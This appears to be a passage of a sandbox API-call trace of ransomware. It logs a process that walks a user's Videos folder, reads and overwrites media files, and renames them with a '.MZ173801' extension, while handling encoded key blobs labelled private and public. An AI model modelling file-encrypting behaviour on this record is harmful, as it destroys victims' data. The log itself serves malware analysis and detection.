(lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\1_2OVvk.avi" (normalized: "c:\\users\\fd1hvy\\videos\\1_2ovvk.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\1_2OVvk.avi.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\1_2ovvk.avi.mz173801")) returned 1 [0164.179] GetCurrentThreadId () returned 0xab4 [0164.179] GetCurrentThreadId () returned 0xab4 [0164.179] GetCurrentThreadId () returned 0xab4 [0164.179] GetCurrentThreadId () returned 0xab4 [0164.179] GetCurrentThreadId () returned 0xab4 [0164.179] GetCurrentThreadId () returned 0xab4 [0164.179] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7bb53770, ftCreationTime.dwHighDateTime=0x1d5ec45, ftLastAccessTime.dwLowDateTime=0xd7f86af0, ftLastAccessTime.dwHighDateTime=0x1d5ee4a, ftLastWriteTime.dwLowDateTime=0xd7f86af0, ftLastWriteTime.dwHighDateTime=0x1d5ee4a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="7uaJhnURa", cAlternateFileName="7UAJHN~1")) returned 1 [0164.179] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x676dca00, ftCreationTime.dwHighDateTime=0x1d5e42c, ftLastAccessTime.dwLowDateTime=0xdce17840, ftLastAccessTime.dwHighDateTime=0x1d5e3b4, ftLastWriteTime.dwLowDateTime=0xdce17840, ftLastWriteTime.dwHighDateTime=0x1d5e3b4, nFileSizeHigh=0x0, nFileSizeLow=0x13d43, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="CvIf.swf", cAlternateFileName="")) returned 1 [0164.179] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0164.179] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0164.179] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\CvIf.swf" (normalized: "c:\\users\\fd1hvy\\videos\\cvif.swf"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x676dca00, ftCreationTime.dwHighDateTime=0x1d5e42c, ftLastAccessTime.dwLowDateTime=0xdce17840, ftLastAccessTime.dwHighDateTime=0x1d5e3b4, ftLastWriteTime.dwLowDateTime=0xdce17840, ftLastWriteTime.dwHighDateTime=0x1d5e3b4, nFileSizeHigh=0x0, nFileSizeLow=0x13d43)) returned 1 [0164.179] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\CvIf.swf" (normalized: "c:\\users\\fd1hvy\\videos\\cvif.swf")) returned 0x20 [0164.179] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\CvIf.swf", dwFileAttributes=0x80) returned 1 [0164.181] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0164.181] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321061c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0164.181] GetCurrentThreadId () returned 0xab4 [0164.182] GetCurrentThreadId () returned 0xab4 [0164.182] GetCurrentThreadId () returned 0xab4 [0164.182] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0164.182] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x322167c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0164.182] GetCurrentThreadId () returned 0xab4 [0164.182] GetCurrentThreadId () returned 0xab4 [0164.182] GetCurrentThreadId () returned 0xab4 [0164.182] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\CvIf.swf" (normalized: "c:\\users\\fd1hvy\\videos\\cvif.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0164.182] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0164.182] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0164.183] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x13d43 [0164.183] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0164.183] ReadFile (in: hFile=0x278, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x13d43, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x13d43, lpOverlapped=0x0) returned 1 [0164.184] CloseHandle (hObject=0x278) returned 1 [0164.185] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\CvIf.swf" (normalized: "c:\\users\\fd1hvy\\videos\\cvif.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0164.186] WriteFile (in: hFile=0x278, lpBuffer=0x24b4040*, nNumberOfBytesToWrite=0x13d43, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24b4040*, lpNumberOfBytesWritten=0x19fa24*=0x13d43, lpOverlapped=0x0) returned 1 [0164.188] CloseHandle (hObject=0x278) returned 1 [0164.191] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\CvIf.swf" (normalized: "c:\\users\\fd1hvy\\videos\\cvif.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\CvIf.swf.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\cvif.swf.mz173801")) returned 1 [0164.191] GetCurrentThreadId () returned 0xab4 [0164.191] GetCurrentThreadId () returned 0xab4 [0164.191] GetCurrentThreadId () returned 0xab4 [0164.191] GetCurrentThreadId () returned 0xab4 [0164.191] GetCurrentThreadId () returned 0xab4 [0164.191] GetCurrentThreadId () returned 0xab4 [0164.191] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x43f94523, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43f94523, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0164.191] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0164.191] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0164.191] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1956d580, ftCreationTime.dwHighDateTime=0x1d5efc3, ftLastAccessTime.dwLowDateTime=0xb741aa20, ftLastAccessTime.dwHighDateTime=0x1d5e7d2, ftLastWriteTime.dwLowDateTime=0xb741aa20, ftLastWriteTime.dwHighDateTime=0x1d5e7d2, nFileSizeHigh=0x0, nFileSizeLow=0x7f09, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="fYpIk.mp4", cAlternateFileName="")) returned 1 [0164.191] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0164.191] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0164.192] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\fYpIk.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\fypik.mp4"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1956d580, ftCreationTime.dwHighDateTime=0x1d5efc3, ftLastAccessTime.dwLowDateTime=0xb741aa20, ftLastAccessTime.dwHighDateTime=0x1d5e7d2, ftLastWriteTime.dwLowDateTime=0xb741aa20, ftLastWriteTime.dwHighDateTime=0x1d5e7d2, nFileSizeHigh=0x0, nFileSizeLow=0x7f09)) returned 1 [0164.192] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\fYpIk.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\fypik.mp4")) returned 0x20 [0164.192] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\fYpIk.mp4", dwFileAttributes=0x80) returned 1 [0164.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFc